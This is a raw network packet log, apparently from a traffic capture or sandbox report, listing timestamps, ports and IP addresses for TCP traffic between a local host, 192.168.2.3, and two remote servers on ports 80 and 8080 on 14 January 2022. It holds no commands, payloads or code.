Jan 14, 2022 20:23:11.314354897 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314356089 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.314394951 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314431906 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314436913 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.314470053 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314508915 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314513922 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.314548969 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314589024 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314604044 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.314626932 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314667940 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314690113 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.314707041 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314744949 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314749956 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.314786911 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314826012 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314827919 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.314865112 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314905882 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314905882 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.314941883 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314981937 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.314985037 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.315021992 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.315059900 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.315061092 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.315099955 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.315138102 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.315141916 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.315177917 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.315217972 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.315220118 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.315254927 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.315289021 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:11.315298080 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.315331936 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.320275068 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.323041916 CET	49783	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:11.340418100 CET	80	49783	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:13.895374060 CET	49785	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:13.913527966 CET	80	49785	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:13.913630009 CET	49785	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:13.913754940 CET	49785	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:13.913786888 CET	49785	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:13.933435917 CET	80	49785	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:14.036775112 CET	80	49785	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:14.036823988 CET	80	49785	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:14.037034988 CET	49785	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.037072897 CET	49785	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.055224895 CET	80	49785	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:14.073262930 CET	49786	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.090866089 CET	80	49786	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:14.091274023 CET	49786	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.091510057 CET	49786	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.091555119 CET	49786	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.108822107 CET	80	49786	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:14.108839035 CET	80	49786	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:14.215166092 CET	80	49786	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:14.215795040 CET	49786	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.215960026 CET	49786	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.233561993 CET	80	49786	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:14.252455950 CET	49787	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.272260904 CET	80	49787	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:14.272347927 CET	49787	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.272449970 CET	49787	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.272536039 CET	49787	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.292252064 CET	80	49787	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:14.292295933 CET	80	49787	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:14.406296015 CET	80	49787	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:14.408123970 CET	49787	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.408164978 CET	49787	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.425759077 CET	80	49787	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:14.454850912 CET	49788	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.472727060 CET	80	49788	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:14.472857952 CET	49788	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.472929955 CET	49788	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.472939014 CET	49788	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.490482092 CET	80	49788	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:14.595643997 CET	80	49788	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:14.595841885 CET	49788	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.615988970 CET	49788	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:14.634491920 CET	80	49788	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:14.659581900 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:14.780268908 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:14.780785084 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:14.780881882 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:14.902481079 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:14.906341076 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:14.906397104 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:14.906438112 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:14.906476021 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:14.906476021 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:14.906516075 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:14.906557083 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:14.906579971 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:14.906594038 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:14.906613111 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:14.906635046 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:14.906676054 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:14.906689882 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:14.906713009 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:14.906768084 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.030277014 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.030339003 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.030378103 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.030405045 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.030417919 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.030457020 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.030471087 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.030498028 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.030539036 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.030554056 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.030576944 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.030616999 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.030657053 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.030669928 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.030694008 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.030708075 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.030734062 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.030774117 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.030814886 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.030828953 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.030855894 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.030881882 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.030893087 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.030934095 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.030961037 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.030972958 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.031011105 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.031033039 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.031389952 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.032109022 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.158415079 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158441067 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158457994 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158480883 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158492088 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158505917 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158518076 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158543110 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158559084 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158575058 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158591032 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158607960 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158623934 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158626080 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.158642054 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158668995 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.158678055 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.158680916 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158684969 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.158691883 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.158698082 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158699036 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.158713102 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158725977 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158752918 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.158771038 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.158775091 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158941984 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158960104 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.158977985 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159003973 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.159029007 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.159545898 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159568071 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159584045 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159598112 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159615040 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159631968 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159646034 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.159648895 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159660101 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.159667969 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159682035 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.159719944 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.159770012 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159787893 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159805059 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159848928 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.159873009 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159890890 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159904003 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159920931 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159930944 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.159934044 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159951925 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159965038 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.159970999 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.159992933 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.160034895 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.282953024 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.283027887 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.283088923 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.283108950 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.283154964 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.283219099 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.283277988 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.283283949 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.283341885 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.283401012 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.283401966 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.283457041 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.283509970 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.283513069 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.283561945 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.283571959 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.283629894 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.283679008 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.283685923 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.283742905 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.283795118 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.283796072 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.283854961 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.284061909 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.284106970 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.284159899 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.284214973 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.284223080 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.284276962 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.284337997 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.284394026 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.284395933 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.284454107 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.284461021 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.284509897 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.284569979 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.284569979 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.284630060 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.284687042 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.284692049 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.284745932 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.284802914 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.284857035 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.284857035 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.284917116 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.284975052 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.284985065 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.285032034 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.285043001 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.285093069 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.285150051 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.285151005 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.285207033 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.285264969 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.285268068 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.285321951 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.285377026 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.285424948 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.285432100 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.285497904 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.285542011 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.285558939 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.285619020 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.285672903 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.285676956 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.285732031 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.285736084 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.285788059 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.285842896 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.285862923 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.285943985 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.285999060 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.407440901 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.407499075 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.407541990 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.407569885 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.407582045 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.407620907 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.407649994 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.407660007 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.407701015 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.407720089 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.407740116 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.407793045 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.409665108 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.409718990 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.409758091 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.409795046 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.409795046 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.409835100 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.409899950 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.409908056 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.409945965 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.409985065 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410001993 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.410026073 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410064936 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410104036 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410123110 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.410130024 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.410147905 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410187960 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410204887 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.410228014 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410269022 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410283089 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.410309076 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410348892 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410386086 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410403967 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.410424948 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410439014 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.410465002 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410502911 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410521030 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.410542965 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410582066 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410619974 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410635948 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.410661936 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410701036 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410707951 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.410741091 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410774946 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.410782099 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410820961 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410861969 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410881042 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.410902977 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410916090 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.410943985 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.410984993 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.411021948 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.411036968 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.411061049 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.411099911 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.411127090 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.411139011 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.411154985 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:15.411180019 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:15.411218882 CET	8080	49789	185.7.214.171	192.168.2.3
